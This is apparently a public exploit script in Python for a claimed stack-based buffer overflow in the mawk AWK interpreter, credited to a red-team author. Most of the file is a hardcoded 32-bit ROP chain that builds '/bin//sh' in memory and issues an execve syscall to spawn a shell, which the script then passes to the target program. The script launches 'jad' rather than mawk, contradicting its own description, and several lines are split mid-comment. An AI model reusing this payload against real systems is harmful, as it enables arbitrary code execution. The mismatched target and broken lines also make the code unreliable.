98 lines
No EOL
4.5 KiB
Python
Executable file
98 lines
No EOL
4.5 KiB
Python
Executable file
#!/usr/bin/python
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# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
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# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
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# Tested on: GNU/Linux - Kali 2017.1 Release
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#
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# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow
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# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
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#
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# Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
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# for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
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#
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# An attacker could exploit this vulnerability to execute arbitrary code in the
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# context of the application. Failed exploit attempts will result in a
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# denial-of-service condition.
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#
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import os, subprocess
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from struct import pack
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ropchain = "A"*1038 # junk
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ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
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edi ; pop ebp ; ret
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ropchain += pack('<I', 0x0811abe0) # @ .data
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x0807b744) # pop eax ; ret
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ropchain += '/bin'
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ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
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ebx ; pop ebp ; ret
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
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edi ; pop ebp ; ret
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ropchain += pack('<I', 0x0811abe4) # @ .data + 4
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x0807b744) # pop eax ; ret
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ropchain += '//sh'
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ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
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ebx ; pop ebp ; ret
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
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edi ; pop ebp ; ret
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ropchain += pack('<I', 0x0811abe8) # @ .data + 8
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
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ebx ; pop ebp ; ret
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
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ropchain += pack('<I', 0x0811abe0) # @ .data
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
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ropchain += pack('<I', 0x0811abe8) # @ .data + 8
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ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
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edi ; pop ebp ; ret
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ropchain += pack('<I', 0x0811abe8) # @ .data + 8
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ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x41414141) # padding
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080e571f) # inc eax ; ret
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ropchain += pack('<I', 0x080c861f) # int 0x80
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try:
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print("[*] MAWK 1.3.3 Stack-Based Buffer Overflow by Juan Sacco")
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print("[*] Please wait.. running")
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subprocess.call(["jad", ropchain])
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except OSError as e:
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if e.errno == os.errno.ENOENT:
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print "MAWK not found!"
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else:
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print "Error executing exploit"
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raise |